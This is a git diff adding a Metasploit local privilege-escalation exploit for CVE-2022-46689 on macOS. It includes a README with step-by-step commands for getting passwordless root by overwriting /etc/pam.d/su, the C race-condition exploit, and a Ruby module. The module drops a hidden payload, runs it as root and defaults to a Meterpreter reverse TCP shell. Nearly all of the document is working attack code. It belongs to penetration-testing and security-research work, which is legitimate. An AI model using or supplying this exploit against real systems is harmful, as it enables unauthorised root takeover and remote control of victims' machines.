diff --git a/external/source/exploits/CVE-2022-46689/Makefile b/external/source/exploits/CVE-2022-46689/Makefile new file mode 100644 index 000000000000..68bb1bc57a1c --- /dev/null +++ b/external/source/exploits/CVE-2022-46689/Makefile @@ -0,0 +1,8 @@ + +all: + clang -o switcharoo vm_unaligned_copy_switch_race.c + +install: + mkdir -p ../../../../data/exploits/CVE-2022-46689/ + cp switcharoo ../../../../data/exploits/CVE-2022-46689/exploit + diff --git a/external/source/exploits/CVE-2022-46689/README.md b/external/source/exploits/CVE-2022-46689/README.md new file mode 100644 index 000000000000..0295b16d46dc --- /dev/null +++ b/external/source/exploits/CVE-2022-46689/README.md @@ -0,0 +1,44 @@ +Get root on macOS 13.0.1 with [CVE-2022-46689](https://support.apple.com/en-us/HT213532) (macOS equivalent of the Dirty Cow bug), using the testcase extracted from [Apple's XNU source](https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c). + +https://worthdoingbadly.com/macdirtycow/ + +## Usage +On a macOS 13.0.1 / 12.6.1 (or below) machine, run: + +``` +clang -o switcharoo vm_unaligned_copy_switch_race.c +sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin +./switcharoo /etc/pam.d/su overwrite_file.bin +su +``` + +You should get: + +``` +% ./switcharoo /etc/pam.d/su overwrite_file.bin +Testing for 10 seconds... +RO mapping was modified +% su +sh-3.2# +``` + +Tested on macOS 13 beta (22A5266r) with SIP off (it should still work with SIP on). + +If your system is fully patched (macOS 13.1 / 12.6.2), it should instead read: + +``` +$ ./switcharoo /etc/pam.d/su overwrite_file.bin +Testing for 10 seconds... +vm_read_overwrite: KERN_SUCCESS:9865 KERN_PROTECTION_FAILURE:3840 other:0 +Ran 13705 times in 10 seconds with no failure +``` + +and running `su` should still ask for a password. + +Thanks to Sealed System Volume, running this on any file on the /System volume only modifies the file temporarily: It's reverted on reboot. Running it on a file on a writeable volume will preserve the modification after a reboot. + +## Credits + +- Ian Beer of Project Zero for finding the issue. Looking forward to your writeup! +- Apple for the test case. (I didn't change anything: I just added the command line parameter to control what to overwrite.) +- [SSLab@Gatech](https://gts3.org/assets/papers/2020/jin:pwn2own2020-safari-slides.pdf) for the trick to disable password checking using `/etc/pam.d`. diff --git a/external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c b/external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c new file mode 100644 index 000000000000..0c5567b398bc --- /dev/null +++ b/external/source/exploits/CVE-2022-46689/vm_unaligned_copy_switch_race.c @@ -0,0 +1,359 @@ +// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c +// modified to compile outside of XNU + +// clang -o switcharoo vm_unaligned_copy_switch_race.c +// sed -e "s/rootok/permit/g" /etc/pam.d/su > overwrite_file.bin +// ./switcharoo /etc/pam.d/su overwrite_file.bin +// su + +#include +#include +#include + +#include +#include +#include + +#include +#include + +#define T_QUIET +#define T_EXPECT_MACH_SUCCESS(a, b) +#define T_EXPECT_MACH_ERROR(a, b, c) +#define T_ASSERT_MACH_SUCCESS(a, b, ...) +#define T_ASSERT_MACH_ERROR(a, b, c) +#define T_ASSERT_POSIX_SUCCESS(a, b) +#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0) +#define T_ASSERT_TRUE(a, b, ...) +#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) +#define T_DECL(a, b) static void a(void) +#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__) + +static const char* g_arg_target_file_path; +static const char* g_arg_overwrite_file_path; + +struct context1 { + vm_size_t obj_size; + vm_address_t e0; + mach_port_t mem_entry_ro; + mach_port_t mem_entry_rw; + dispatch_semaphore_t running_sem; + pthread_mutex_t mtx; + bool done; +}; + +static void * +switcheroo_thread(__unused void *arg) +{ + kern_return_t kr; + struct context1 *ctx; + + ctx = (struct context1 *)arg; + /* tell main thread we're ready to run */ + dispatch_semaphore_signal(ctx->running_sem); + while (!ctx->done) { + /* wait for main thread to be done setting things up */ + pthread_mutex_lock(&ctx->mtx); + /* switch e0 to RW mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_rw, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW"); + /* wait a little bit */ + usleep(100); + /* switch back to original RO mapping */ + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO"); + /* tell main thread we're don switching mappings */ + pthread_mutex_unlock(&ctx->mtx); + usleep(100); + } + return NULL; +} + +T_DECL(unaligned_copy_switch_race, + "Test that unaligned copy respects read-only mapping") +{ + pthread_t th = NULL; + int ret; + kern_return_t kr; + time_t start, duration; + mach_msg_type_number_t cow_read_size; + vm_size_t copied_size; + int loops; + vm_address_t e2, e5; + struct context1 context1, *ctx; + int kern_success = 0, kern_protection_failure = 0, kern_other = 0; + vm_address_t ro_addr, tmp_addr; + memory_object_size_t mo_size; + + ctx = &context1; + ctx->obj_size = 256 * 1024; + ctx->e0 = 0; + ctx->running_sem = dispatch_semaphore_create(0); + T_QUIET; T_ASSERT_NE(ctx->running_sem, NULL, "dispatch_semaphore_create"); + ret = pthread_mutex_init(&ctx->mtx, NULL); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init"); + ctx->done = false; + ctx->mem_entry_rw = MACH_PORT_NULL; + ctx->mem_entry_ro = MACH_PORT_NULL; +#if 0 + /* allocate our attack target memory */ + kr = vm_allocate(mach_task_self(), + &ro_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr"); + /* initialize to 'A' */ + memset((char *)ro_addr, 'A', ctx->obj_size); +#endif + int fd = open(g_arg_target_file_path, O_RDONLY | O_CLOEXEC); + ro_addr = (uintptr_t)mmap(NULL, ctx->obj_size, PROT_READ, MAP_SHARED, fd, 0); + /* make it read-only */ + kr = vm_protect(mach_task_self(), + ro_addr, + ctx->obj_size, + TRUE, /* set_maximum */ + VM_PROT_READ); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr"); + /* make sure we can't get read-write handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO"); + /* take read-only handle on that target memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + ro_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ, + &ctx->mem_entry_ro, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + /* make sure we can't map target memory as writable */ + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + tmp_addr = 0; + kr = vm_map(mach_task_self(), + &tmp_addr, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_ANYWHERE, + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ | VM_PROT_WRITE, + VM_PROT_READ | VM_PROT_WRITE, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw"); + + /* allocate a source buffer for the unaligned copy */ + kr = vm_allocate(mach_task_self(), + &e5, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5"); + /* initialize to 'C' */ + memset((char *)e5, 'C', ctx->obj_size); + + FILE* overwrite_file = fopen(g_arg_overwrite_file_path, "r"); + fseek(overwrite_file, 0, SEEK_END); + size_t overwrite_length = ftell(overwrite_file); + if (overwrite_length >= PAGE_SIZE) { + fprintf(stderr, "too long!\n"); + exit(1); + } + fseek(overwrite_file, 0, SEEK_SET); + char* e5_overwrite_ptr = (char*)(e5 + ctx->obj_size - overwrite_length); + fread(e5_overwrite_ptr, 1, overwrite_length, overwrite_file); + fclose(overwrite_file); + + int overwrite_first_diff_offset = -1; + char overwrite_first_diff_value = 0; + for (int off = 0; off < overwrite_length; off++) { + if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) { + overwrite_first_diff_offset = off; + overwrite_first_diff_value = ((char*)ro_addr)[off]; + } + } + if (overwrite_first_diff_offset == -1) { + fprintf(stderr, "no diff?\n"); + exit(1); + } + + /* + * get a handle on some writable memory that will be temporarily + * switched with the read-only mapping of our target memory to try + * and trick copy_unaligned to write to our read-only target. + */ + tmp_addr = 0; + kr = vm_allocate(mach_task_self(), + &tmp_addr, + ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory"); + /* initialize to 'D' */ + memset((char *)tmp_addr, 'D', ctx->obj_size); + /* get a memory entry handle for that RW memory */ + mo_size = ctx->obj_size; + kr = mach_make_memory_entry_64(mach_task_self(), + &mo_size, + tmp_addr, + MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE, + &ctx->mem_entry_rw, + MACH_PORT_NULL); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW"); + T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->obj_size, "wrong mem_entry size"); + kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr); + tmp_addr = 0; + + pthread_mutex_lock(&ctx->mtx); + + /* start racing thread */ + ret = pthread_create(&th, NULL, switcheroo_thread, (void *)ctx); + T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create"); + + /* wait for racing thread to be ready to run */ + dispatch_semaphore_wait(ctx->running_sem, DISPATCH_TIME_FOREVER); + + duration = 10; /* 10 seconds */ + T_LOG("Testing for %ld seconds...", duration); + for (start = time(NULL), loops = 0; + time(NULL) < start + duration; + loops++) { + /* reserve space for our 2 contiguous allocations */ + e2 = 0; + kr = vm_allocate(mach_task_self(), + &e2, + 2 * ctx->obj_size, + VM_FLAGS_ANYWHERE); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0"); + + /* make 1st allocation in our reserved space */ + kr = vm_allocate(mach_task_self(), + &e2, + ctx->obj_size, + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240)); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2"); + /* initialize to 'B' */ + memset((char *)e2, 'B', ctx->obj_size); + + /* map our read-only target memory right after */ + ctx->e0 = e2 + ctx->obj_size; + kr = vm_map(mach_task_self(), + &ctx->e0, + ctx->obj_size, + 0, /* mask */ + VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241), + ctx->mem_entry_ro, + 0, + FALSE, /* copy */ + VM_PROT_READ, + VM_PROT_READ, + VM_INHERIT_DEFAULT); + T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro"); + + /* let the racing thread go */ + pthread_mutex_unlock(&ctx->mtx); + /* wait a little bit */ + usleep(100); + + /* trigger copy_unaligned while racing with other thread */ + kr = vm_read_overwrite(mach_task_self(), + e5, + ctx->obj_size, + e2 + overwrite_length, + &copied_size); + T_QUIET; + T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE, + "vm_read_overwrite kr %d", kr); + switch (kr) { + case KERN_SUCCESS: + /* the target was RW */ + kern_success++; + break; + case KERN_PROTECTION_FAILURE: + /* the target was RO */ + kern_protection_failure++; + break; + default: + /* should not happen */ + kern_other++; + break; + } + /* check that our read-only memory was not modified */ + T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "RO mapping was modified"); + + /* tell racing thread to stop toggling mappings */ + pthread_mutex_lock(&ctx->mtx); + + /* clean up before next loop */ + vm_deallocate(mach_task_self(), ctx->e0, ctx->obj_size); + ctx->e0 = 0; + vm_deallocate(mach_task_self(), e2, ctx->obj_size); + e2 = 0; + } + + ctx->done = true; + pthread_join(th, NULL); + + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_rw); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)"); + kr = mach_port_deallocate(mach_task_self(), ctx->mem_entry_ro); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)"); + kr = vm_deallocate(mach_task_self(), ro_addr, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)"); + kr = vm_deallocate(mach_task_self(), e5, ctx->obj_size); + T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)"); + + + T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d", + kern_success, kern_protection_failure, kern_other); + T_PASS("Ran %d times in %ld seconds with no failure", loops, duration); +} + +int main(int argc, char** argv) { + if (argc != 3) { + fprintf(stderr, "usage: %s target_file overwrite_file\n", argv[0]); + return 0; + } + g_arg_target_file_path = argv[1]; + g_arg_overwrite_file_path = argv[2]; + unaligned_copy_switch_race(); +} diff --git a/modules/exploits/osx/local/mac_dirty_cow.rb b/modules/exploits/osx/local/mac_dirty_cow.rb new file mode 100644 index 000000000000..ff46ce1dbc92 --- /dev/null +++ b/modules/exploits/osx/local/mac_dirty_cow.rb @@ -0,0 +1,122 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Post::File + include Msf::Post::OSX::Priv + include Msf::Post::OSX::System + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'macOS Dirty Cow Arbitrary File Write Local Privilege Escalation', + 'Description' => %q{ + An app may be able to execute arbitrary code with kernel privileges + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Ian Beer', # discovery + 'Zhuowei Zhang', # proof of concept + 'timwr' # metasploit integration + ], + 'References' => [ + ['CVE', '2022-46689'], + ['URL', 'https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c'], + ['URL', 'https://github.com/zhuowei/MacDirtyCowDemo'], + ], + 'Platform' => 'osx', + 'Arch' => ARCH_X64, + 'DefaultTarget' => 0, + 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, + 'Targets' => [ + [ 'Mac OS X x64 (Native Payload)', {} ], + ], + 'DisclosureDate' => '2022-12-17', + 'Notes' => { + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES], + 'Reliability' => [REPEATABLE_SESSION], + 'Stability' => [CRASH_SAFE] + } + ) + ) + register_advanced_options [ + OptString.new('TargetFile', [ true, 'The pam.d file to overwrite', '/etc/pam.d/su' ]), + OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) + ] + end + + def check + version = Rex::Version.new(get_system_version) + if version > Rex::Version.new('13.0.1') + CheckCode::Safe + elsif version < Rex::Version.new('13.0') && version > Rex::Version.new('12.6.1') + CheckCode::Safe + elsif version < Rex::Version.new('10.15') + CheckCode::Safe + else + CheckCode::Appears + end + end + + def exploit + if is_root? + fail_with Failure::BadConfig, 'Session already has root privileges' + end + + unless writable? datastore['WritableDir'] + fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" + end + + payload_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" + binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded) + upload_and_chmodx payload_file, binary_payload + register_file_for_cleanup payload_file + + target_file = datastore['TargetFile'] + current_content = read_file(target_file) + backup_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" + unless write_file(backup_file, current_content) + fail_with Failure::BadConfig, "#{backup_file} is not writable" + end + register_file_for_cleanup backup_file + + replace_content = current_content.sub('rootok', 'permit') + + replace_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" + unless write_file(replace_file, replace_content) + fail_with Failure::BadConfig, "#{replace_file} is not writable" + end + register_file_for_cleanup replace_file + + exploit_file = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric(5..10)}" + exploit_exe = exploit_data 'CVE-2022-46689', 'exploit' + upload_and_chmodx exploit_file, exploit_exe + register_file_for_cleanup exploit_file + + exploit_cmd = "#{exploit_file} #{target_file} #{replace_file}" + print_status("Executing exploit '#{exploit_cmd}'") + result = cmd_exec(exploit_cmd) + print_status("Exploit result:\n#{result}") + + su_cmd = "echo '#{payload_file} & disown' | su" + print_status("Running cmd:\n#{su_cmd}") + result = cmd_exec(su_cmd) + unless result.blank? + print_status("Command output:\n#{result}") + end + + exploit_cmd = "#{exploit_file} #{target_file} #{backup_file}" + print_status("Executing exploit (restoring) '#{exploit_cmd}'") + result = cmd_exec(exploit_cmd) + print_status("Exploit result:\n#{result}") + end + +end